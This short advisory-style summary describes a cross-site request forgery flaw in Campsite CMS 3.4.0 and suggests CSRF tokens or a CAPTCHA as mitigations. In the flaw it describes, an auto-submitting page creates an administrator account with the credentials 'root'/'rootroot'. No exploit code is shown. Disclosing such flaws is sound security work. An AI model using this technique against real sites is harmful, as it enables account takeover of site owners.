Campsite CMS 3.4.0 Multiple CSRF Vulnerabilities – Create Admin User

This PoC demonstrates a CSRF vulnerability in Campsite CMS 3.4.0, which allows an attacker to create an admin user with the credentials 'root' and 'rootroot'. This is done by crafting a malicious HTML page that contains a form with the necessary parameters to create an admin user, and submitting it automatically when the page is loaded.

Mitigation:

Implementing a CSRF token in the form, or using a CAPTCHA to verify the request is legitimate, can help mitigate this vulnerability.
